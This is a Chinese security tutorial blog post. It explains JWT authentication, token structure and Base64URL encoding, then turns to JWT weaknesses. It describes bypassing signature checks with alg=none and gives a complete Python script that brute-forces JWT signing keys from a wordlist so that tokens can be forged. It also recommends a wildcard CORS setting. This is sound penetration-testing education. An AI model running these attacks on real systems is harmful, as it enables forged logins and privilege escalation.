JWT 全称是 JSON Web Token
,是目前非常流行的跨域认证解决方案,在单点登录场景中经常使用到。JSON Web Token 直接根据 token 取出保存的用户信息,以及对 token 可用性校验,大大简化单点登录。
起源
说起JWT,我们应该来谈一谈基于token的认证和传统的session认证的区别。
传统的 Session认证
我们知道,http 协议本身是一种无状态的协议,而这就意味着如果用户向我们的应用提供了用户名和密码来进行用户认证,那么下一次请求时,用户还要再一次进行用户认证才行,因为根据http协议,我们并不能知道是哪个用户发出的请求,所以为了让我们的应用能识别是哪个用户发出的请求,我们只能在服务器存储一份用户登录的信息,这份登录信息会在响应时传递给浏览器,告诉其保存为 cookie,以便下次请求时发送给我们的应用,这样我们的应用就能识别请求来自哪个用户了,这就是传统的基于 session 认证。
基于 Session 认证所显露的问题
基于 token 的鉴权机制
基于 token 的鉴权机制类似于 http 协议也是无状态的,它不需要在服务端去保留用户的认证信息或者会话信息。这就意味着基于 token 认证机制的应用不需要去考虑用户在哪一台服务器登录了,这就为应用的扩展提供了便利。
流程上是这样的:
这个token必须要在每次请求时传递给服务端,它应该保存在请求头里, 另外,服务端要支持 CORS(跨来源资源共享) 策略,一般我们在服务端这么做就可以了Access-Control-Allow-Origin: *
。
JSON Web Token
那么我们现在回到 JWT 的主题上,JWT的原则是在服务器身份验证之后,将生成一个JSON对象并将其发送回用户,如下所示。
{
"UserName": "admin",
"Role": "0",
"Expire": "2019-08-26 12:25:36"
}
之后,当用户与服务器通信时,客户在请求中发回JSON对象。服务器仅依赖于这个JSON对象来标识用户。为了防止用户篡改数据,服务器将在生成对象时添加签名。这样,服务器不保存任何会话数据,即服务器变为无状态,使其更容易扩展。下图便是采用 JWT 机制的系统中,客户端与服务器的通信过程。
但JWT 有个问题,导致很多开发团队放弃使用它,那就是一旦颁发一个 JWT 令牌,服务端就没办法废弃掉它,除非等到它自身过期。有很多应用默认只允许最新登录的一个客户端正常使用,不允许多端登录,JWT 就没办法做到,因为颁发了新令牌,但是老的令牌在过期前仍然可用。这种情况下,就需要服务端增加相应的逻辑。
JWT 由三部分构成,header(头部)、payload(载荷)和 signature(签名)。
JWT 头部分是一个描述 JWT 元数据的 JSON 对象,通常如下所示。
{
"alg": "HS256",
"typ": "JWT"
}
在上面的代码中:
最后,使用 Base64 URL 算法将上述 JSON 对象转换为字符串保存。
有效载荷部分,是 JWT 的主体内容部分,也是一个JSON对象,包含需要传递的数据。JWT 指定七个默认字段供选择。
- iss:发行人
- exp:到期时间
- sub:主题
- aud:用户
- nbf:在此之前不可用
- iat:发布时间
- jti:JWT ID用于标识该JWT
除以上默认字段外,我们还可以自定义私有字段,如下例:
{
"name": "admin",
"role": 0
}
请注意,默认情况下 JWT 是未加密的,只使用了 Base64 URL算法转换为字符串,任何人都可以解读其内容,因此不要构建隐私信息字段或存放保密信息,以防止信息泄露。
签名哈希部分是对上面两部分数据签名,通过指定的算法生成哈希,以确保数据不会被篡改。
首先,需要指定一个密码(secret),该密码仅仅为保存在服务器中,并且不能向用户公开。然后,使用标头中指定的签名算法(默认情况下为 HMAC SHA256)根据以下公式生成签名。
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload),secret)
在计算出签名哈希后,JWT头,有效载荷、签名哈希 三个部分组合成一个字符串,每个部分用"."
分隔,就构成整个JWT 对象。
Base64 URL算法
如上所述,JWT 头和有效载荷序列化的算法都用到了 Base64URL。该算法和常见 Base64 算法类似,稍有差别。Base64 中用的三个字符是 "+","/” 和 "="
,由于在URL中有特殊含义,因此Base64URL中对他们做了替换:"=" 去掉,"+" 用 "-" 替换,"/" 用 "_"
替换,这就是Base64URL算法。
JWT数据转换
来看看某次测试过程中遇到的真实的使用 JWT 的系统数据包:
完整的数据格式如下:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MTEyMjA1NjQsInVzZXJuYW1lIjoiemhpeXVudG9uZyJ9.l7lzQwo-Iy0g95lsV6iqPfebiE4mNYLhQ-AGi1dtQVQ
可以使用 BurpSuite 的 Decoder 模块对 JWT 数据的 头部+有效载荷 部分进行 Base64 解码转换:
另外一种方式,使用JWT官方网站进行数据转换(当然签名部分无法解密):
JWT的优缺点总结:
JWT存在的安全问题:
none
时后端不会进行签名校验。将 alg 修改为 none后,去掉 JWT 中的 signature 数据(仅剩 header + '.' + payload +'.'
)然后提交到服务端即可。某大佬已在博客记录了上述几种安全问题的利用手段:全程带阻:记一次授权网络攻防演练(上),大佬演示了三种攻击方式:未校验签名、禁用哈希、暴破弱密钥。
Python 提供了一个库 pyjwt,不仅可用于生成 JWT,也可通过 jwt.decode(jwt_str, verify=True, key=key_)
函数进行签名校验,但,导致校验失败的因素不仅密钥错误,还可能是数据部分中预定义字段错误(如,当前时间超过 exp),也可能是 JWT 字符串格式错误等等,所以,借助 jwt.decode(jwt_str, verify=True, key=key_)
验证密钥 key_ 时需要注意:
基于上述函数特征,可以编写 Python 脚本快速实现 JWT 密钥暴破功能,代码如下(Github地址:https://github.com/wkend/CrackJWTKey
):
#!/usr/bin/env python 3.5
# -*- coding: utf-8 -*-
import sys
import jwt
import termcolor
from colorama import init
init(autoreset=True)
def check_input():
"""检查输入"""
if len(sys.argv) != 3:
print("Usage: "+sys.argv[0]+" jwt_str"+" passwd.txt")
exit(1)
def print_sign():
BANNER = r"""
_ ___ _ _ _____
| | |_ || | | ||_ _|
___ _ __ __ _ ___ | | __ | || | | | | |
/ __|| '__| / _` | / __|| |/ / | || |/\| | | |
| (__ | | | (_| || (__ | < /\__/ /\ /\ / | |
\___||_| \__,_| \___||_|\_\ \____/ \/ \/ \_/
(v 1.0)
"""
print(BANNER)
def crack_key():
"""爆破jwt秘钥"""
jwt_str = sys.argv[1]
passwd = sys.argv[2]
with open(passwd) as f:
for line in f:
key = line.strip()
try:
jwt.decode(jwt_str,verify=True,key=key)
print(termcolor.colored(r"[+]","green"),"found key successfully-->",termcolor.colored(key,"green"))
break
except (
jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError
):
print(r"[+] found key successfully!!! -->",termcolor.colored(key,"green"))
break
except jwt.exceptions.InvalidSignatureError:
print(r"[+] try key -->", key,","*10)
continue
else:
print(r"[+] Done! no key was found\n")
if __name__ == '__main__':
check_input()
print_sign()
crack_key()
Github 项目给出了演示用的 JWT 数据:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoibmFuYSIsImFjdGlvbiI6InVwbG9hZCJ9.56wwCrB9tIgmUnYpLPxkO8GYj1soCjuu_skTlbH_Gg8
在 VPS 上下载并执行代码,成功爆破出演示数据的密钥:
综上,渗透测试过程中如果遇到 JWT 身份认证机制,我们就应该对其存在的安全缺陷进行验证排查,如果能够爆破出服务端的加密密钥,那么就可以随意生成 Token 并形成垂直越权访问。